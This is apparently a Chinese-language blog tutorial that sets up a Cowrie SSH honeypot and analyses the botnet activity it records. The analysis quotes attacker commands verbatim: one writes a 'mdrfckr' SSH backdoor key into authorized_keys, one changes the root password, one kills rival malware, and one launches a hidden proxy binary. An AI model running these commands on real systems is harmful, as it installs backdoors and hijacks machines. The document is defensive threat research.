Cowrie 是一款基于 Python 开发的中高交互 SSH/Telnet 蜜罐，它模拟了一个虚假的 Linux 系统环境，攻击者连接后会获得一个假 Shell，执行的所有命令、上传的恶意文件都会被完整记录。本文将带你从 0 开始搭建 Cowrie 蜜罐，并通过真实攻击日志分析攻击者的行为模式。

二、环境准备#

Cowrie 本身是跨平台 Python 程序，核心逻辑完全一样，只有安装依赖、防火墙、包管理器三部分命令不同。（本文以 AlmaLinux 9 为例）

1. 系统依赖安装#

Terminal window

1
# 更新系统包
2
dnf update -y
3

4
# 安装基础依赖
5
dnf install -y epel-release
6
dnf install -y git python3 python3-pip python3-virtualenv libffi-devel openssl-devel gcc make authbind

如果提示某些包没有，也没关系，我们再调整。
有些版本里 python3-virtualenv 可能叫法不同，可以补装：

Terminal window

1
dnf install -y python3-devel

必须保证python的版本大于3.9

Terminal window

1
python3.11 --version

没有就安装

Terminal window

1
dnf install -y python3.11 python3.11-pip python3.11-devel

装完再检查

Terminal window

1
python3.11 --version

2. 创建专用用户#

不要用 root 跑 Cowrie

Terminal window

1
useradd -m -s /bin/bash cowrie
2
passwd cowrie

切换到cowrie用户

Terminal window

1
su - cowrie

现在应该在cowrie目录（/home/cowrie）

Terminal window

1
#确认一下
2
pwd

三、下载 Cowrie#

在 cowrie 用户下执行：

Terminal window

1
git clone http://github.com/cowrie/cowrie
2
cd cowrie

在/home/cowrie/cowrie/ 目录创建虚拟环境

Terminal window

1
python3.11 -m venv cowrie-env

激活虚拟环境；激活后，命令行前面一般会出现 (cowrie-env)

Terminal window

1
source cowrie-env/bin/activate

升级pip

Terminal window

1
pip install --upgrade pip setuptools wheel

安装 Cowrie 依赖

Terminal window

1
pip install -r requirements.txt

如果报编译错误，通常是缺少系统依赖，回到root 安装：
（要退出虚拟环境deactivate）

Terminal window

1
dnf install -y gcc libffi-devel openssl-devel python3-devel

然后再按步骤回来重试。(注意不要进错目录）

四、配置 Cowrie#

Cowrie 默认配置文件不是直接改原文件，而是复制一份：

Terminal window

1
cp etc/cowrie.cfg.dist etc/cowrie.cfg

编辑配置：

Terminal window

1
vi etc/cowrie.cfg

查找类似：

1
[ssh]
2
listen_endpoints = tcp:2222:interface=0.0.0.0

这表示 Cowrie 监听 0.0.0.0<2222>。
先保持这个最稳妥。

五、启动 Cowrie#

确保你当前仍然在：/home/cowrie/cowrie；并且虚拟环境已激活，然后启动：

Terminal window

1
bin/cowrie start

分别查看状态和日志

Terminal window

1
bin/cowrie status
2
tail -f var/log/cowrie/cowrie.log

如果启动成功，应该能看到监听信息。

六、测试是否运行成功#

Terminal window

1
ss -tlnp | grep 2222

如果看到 2222 正在监听，说明程序已运行。

本机测试连接：

Terminal window

1
ssh -p 2222 root@127.0.0.1

你应该会连接到 Cowrie 模拟出来的 SSH 服务，而不是真实 SSH。

image

我随便输入了一个密码，cowrie可能会直接把我放进来。
cowrie还会发出一些迷惑信息，增加逼真性。

七、让外部扫到 22 端口#

这个要特别注意：
不要直接让真实 SSH 和 Cowrie 都占用 22。

通常做法：

真实 SSH 改到别的端口，比如 22222
外部访问 22 时转发到 Cowrie 的 2222

1. 如果真实ssh端口在22，先改端口#

编辑 SSH 配置：

Terminal window

1
vi /etc/ssh/sshd_config

找到port这一行，改成：

1
Port 22222

保存后重启 SSH：

Terminal window

1
systemctl restart sshd

先别断开当前会话，先新开一个终端测试能否用新端口登录：

Terminal window

1
ssh -p 22222 root@你的IP

确认没问题后再继续。

2. iptables/ firewalld 端口转发，让外部 22 转到 Cowrie 的 2222#

Terminal window

1
sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222
2
sudo iptables -t nat -A OUTPUT -p tcp -d 127.0.0.1 --dport 22 -j REDIRECT --to-ports 2222

或者用 firewalld

Terminal window

1
sudo firewall-cmd --permanent --add-forward-port=port=22:proto=tcp:toport=2222
2
sudo firewall-cmd --reload

这样外部访问 22，实际进 Cowrie 的 2222。

3. 测试端口是否转发成功：#

本地：ssh root@127.0.0.1
新终端：ssh root@你的IP
如果是蜜罐，说明成功了。

查看日志

Terminal window

1
sudo tail -n 50 var/log/cowrie/cowrie.log
2
sudo tail -n 50 var/log/cowrie/cowrie.json

image

你可以看到一些被cowrie收集的信息（攻击者 IP 地址，尝试的账户密码，连接时间、时长，目标端口，客户端信息，认证信息，执行的命令等等）
这是一些真实的攻击记录，大部分由黑客（被控制的肉鸡）使用Nmap、Zmap等工具，几秒内就能扫遍全网。

4. 公网#

当你的设备具备了可从互联网任何地方直接访问的独立网络身份时，才算暴露在公网上，才能被全球其他人访问；否则部署的蜜罐只能自己访问。

八、python脚本自动分析#

1. 编写脚本#

Terminal window

1
touch cowrie-report.py
2
nano cowrie-report.py

将本文章配套的python代码复制进去就行。

脚本下载通道

/files/cowrie-log-script.zip

2.给脚本加执行权限#

写完脚本后，你当时运行了这行命令，让脚本变成可执行文件：

Terminal window

1
chmod +x cowrie-report.py

3、把脚本放到系统 PATH 里#

Terminal window

1
cp cowrie-report.py /usr/local/bin/cowrie-report

4.效果与分析#

内置包含大量实用功能（查看类： ‘summary’, ‘topip’, ‘creds’, ‘commands’, ‘sources’, ‘keys’, ‘weird’, ‘families’, ‘ip’, ‘export-logins’ ；导出类：‘export-logins’, ‘export-commands’, ‘export-keys’, ‘export-weird’, ‘export-families’）

image

可以看到每天都有大量事件。要是真机，暴露在公网上，很快会沦陷为黑客的肉鸡。

image

其实这个很有意思，这么多IP注入的都是同一个公钥

Terminal window

1
echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr" >> .ssh/authorized_keys

mdrfckr = motherfcker（脏话 / 辱骂性词汇）
这个密钥mdrfckr标识是黑客、黑产、恶意软件作者最常用的挑衅式署名；目的就是：

装酷
挑衅受害者
标记「这个后门是我放的」

执行cowrie-report command看看他们都干了什么

image

这是随机截的，毕竟太长了。

介绍主要行为：

删除原来的 .ssh（删你密钥）

Terminal window

1
rm -rf .ssh

Terminal window

1
mkdir .ssh

写入黑客自己的 SSH 后门公钥

Terminal window

1
echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr" >> .ssh/authorized_keys

锁权限，防止你删掉后门

Terminal window

1
chmod -R go= ~/.ssh

查 CPU 核心数（判断能不能挖矿）

Terminal window

1
cat /proc/cpuinfo | grep name | wc -l

杀其他病毒、清理竞争对手 malware

Terminal window

1
rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -f secure.sh; pkill -f auth.sh; echo > /etc/hosts.deny; pkill -f sleep;

修改 root 密码（锁死你，独占机器）

Terminal window

1
echo "root:c9pUFi59LRUU"|chpasswd|bash

接下我们看看具有相似特征的族
cowrie-report families

image

345gs5662d34/345gs5662d34(2004), root/3245gs5662d34(2002)这两个是尝试次数最多的账密；

最显眼的 345gs5662d34/345gs5662d34是物联网设备 / 路由器 / 工控设备的默认密码变种
root/3245gs5662d3是上面那个密码的变种，差不多的次数，说明和上面那个是同一个脚本 / 团伙的字典，专门针对 Linux 服务器的 root 账号
admin/admin：最通用的管理员账号密码，几乎所有设备都有，被扫了 85 次，属于基础弱口令字典的标配
orangepi/orangepi：这是香橙派（Orange Pi）开发板的默认 SSH 账号密码，说明攻击者专门针对物联网开发板做了定向爆破
root/P / root/nPSpP4PBW0 .这些是 “半强密码” 的弱口令变种
root/Aa112211典型入门级弱密码
root/：root 账号 + 空密码；很多新手会犯的错误
root/root账号密码都是 root，被扫了 26 次，属于 “新手专属弱口令”
a/a：账号密码都是 a，纯随机爆破的垃圾项，被扫了 22 次

image

攻击者在登录成功后，会立即写入 SSH 公钥后门，这是僵尸网络控制肉鸡的标准流程。

image

两组典型的前置侦察型攻击

族4：单一 IP 的轻量级侦察脚本
cat /proc/1/mounts 查看系统挂载信息，判断是否为容器 / 虚拟机
ls /proc/1/ 检查 PID 1 进程，确认系统初始化环境
curl2 测试服务器是否能联网，用于后续下载恶意程序
ps aux / ps 查看进程列表，判断是否已有其他恶意软件在运行

关键特征：

使用 echo ”…” | sh 执行命令，是典型的IDS / 防火墙绕过手段
没有植入后门、没有挖矿，仅做 “踩点”
这类脚本通常是大型僵尸网络的 “前置筛选器”，用来挑出有价值的肉鸡

族5：定向挖矿木马的侦察脚本
/ip cloud print 识别目标是否为云服务器（部分云厂商有特定的工具）
ifconfig 获取网卡信息，确认网络环境
uname -a 查看系统内核版本，判断是否支持挖矿程序
cat /proc/cpuinfo 关键：查看 CPU 核心数，判断挖矿收益
ps grep '[Mm]iner' 检查是否已有其他挖矿程序在运行，防止被 “抢矿”

关键特征：

所有命令都围绕 “挖矿价值评估” 展开，目的性极强
常见登录密码是 root/root、root/admin，属于基础弱口令爆破
这类攻击的下一步，就是下载并执行挖矿木马

image

Terminal window

1
chmod +x ./.9209272124184346317/sshd;
2
nohup ./.9209272124184346317/sshd 111.170.34.11 123.182.141.91 ... &

这是一种典型的 “恶意反向代理” 攻击。攻击者在登录成功后，会上传一个伪装成 sshd 的恶意程序，赋予执行权限并在后台运行。#

系统自带的 sshd 是 /usr/sbin/sshd，而这个程序：
位于隐藏目录 ./.9209272124184346317/（随机命名，隐藏行踪）
接收大量 IP 作为参数，明显不是正常的 SSH 服务，本质是建立反向隧道，将目标服务器变成攻击者的代理跳板，用于转发恶意流量（如 DDoS、爬虫、代理访问）。
，

image

安装挖矿木马 / 僵尸网络执行链

./oinasf：直接运行当前目录下的恶意程序 oinasf
后面的 dd /proc/self/exe 是一套 fallback 逻辑，用来读取自身程序的二进制代码，常见于自复制、自解压、绕过沙箱 / 蜜罐检测的恶意脚本
整个命令的目标，是在被攻陷的服务器上植入并执行 oinasf 恶意程序

九、总结#

日志覆盖 4.19–4.28，记录了从扫描到挖矿的全过程#

早期：只爆破弱口令（族 1）

中期：写公钥留后门（族 2/3）

后期：上挖矿木马 oinasf（族 13）

穿插：侦察系统、清理环境

显然这是这是一个以 SSH 弱口令爆破为入口、以 SSH 公钥为持久化后门、以 oinasf 为挖矿模块的大型 Linux 跨平台僵尸网络。

tuuleiのblog

[WUSTCTF 2020]

[HNCTF 2022 WEEK4]unf1ni3hed_web3he1 LFI + Session反序列化 + 条件竞争

本题在线靶场#

0. 一句话速览#

1. 信息收集#

2. 第一层：LFI 用伪协议读源码#

2.1 工具页源码#

2.2 为什么必须用 php://filter#

2.3 过滤规则分析#

2.4 解码拿源码#

3. 源码分析：POP 链怎么拼#

3.1 类的结构#

3.2 利用链#

3.3 构造序列化 payload#

4. 重点科普：session 到底是什么#

4.1 session 的生命周期#

4.2 两种序列化引擎：php 与 php_serialize#

4.3 反序列化触发点不需要额外 include#

4.4 对象什么时候执行代码#

5. 怎么往 session 里写东西：PHP_SESSION_UPLOAD_PROGRESS#

5.1 机制#

5.2 | 为什么是致命一击#

5.3 两种写法，千万不要混#

5.4 补充：写盘和读盘 handler 不一致也没关系#

6. 为什么单发一次不行：cleanup = On 与条件竞争#

6.1 单次请求的时间线#

6.2 竞争思路#

7. 完整 EXP#

7.1 先用本地 PHP 生成 payload#

7.2 竞争脚本#

8. 拿到 flag#

9. 踩坑清单与总结#

[watevrCTF 2019]Voting Machine

本题在线靶场#

1. 漏洞分析#

2. 计算偏移量#

3.Exploit编写#

[安洵杯 2019]CSS Game CSS注入

本题在线靶场#

1. 一句话总结#

2. 读题：首页在说什么#

2.1 关键信息一：flag 在内网#

2.2 关键信息二：有个爬虫接口#

2.3 关键信息三：注释里泄露了 flag.html 的真实源码#

3. 零基础前置知识#

3.1 HTML：标签、元素、属性#

3.2 type="hidden" 是什么，为什么它很麻烦#

3.3 CSS 是什么，怎么被加载#

3.4 选择器：怎么”选中”元素#

3.5 层叠与优先级（specificity）——利用手法的关键#

3.6 CSS 里怎么”发网络请求”#

3.7 盲注 / XS-Leak 的核心思想#

4. 攻击思路是怎么想出来的#

5. 搭建外带/托管通道#

5.1 一个自然的想法：能不能直接内联写 CSS？#

5.2 为什么选 webhook.site#

5.3 第一步：创建 token 并设置响应内容#

5.4 第二步：确认爬虫真的能出网#

5.5 第三步：验证 CSS 真的被执行#

6. 写出第一个能用的 payload#

6.1 先验证属性选择器能读到属性值#

6.3 正确姿势：用兄弟选择器把条件打到提交按钮上#

6.4 一轮同时试一整个字符集#

7. 把单字符爆破跑起来#

8. 完整脚本与逐行讲解#

遇到的崩溃原因#

8.1 逐段说明#

9. 运行日志与结果校验#

9.1 关键运行日志（节选）#

9.2 为什么又多跑了第 44 位#

9.3 最终校验#

10. 踩过的坑（很重要）#

10.1 data: URL 直接内联 CSS 被浏览器拦掉#

10.2 MIME 类型不对，样式表被静默忽略#

10.3 webhook.site 免费 token 有请求配额（本次最大的坑）#

10.4 偶发丢回显#

10.5 一次抓取只能拿一个字符，速度慢#

11. 优化方向：能不能更快#

11.1 二分爆破可行吗？#

5.2 `|` 为什么是致命一击#

3.2 `type="hidden"` 是什么，为什么它很麻烦#

10.1 `data:` URL 直接内联 CSS 被浏览器拦掉#

[GFCTF 2021]双击开始冒险鼠标流量

第一层压缩包爆破#

第二层社工#

第三层鼠标流量#

2.4 构造 `$md5[0]`#

2.5 构造 `$md5[1]`#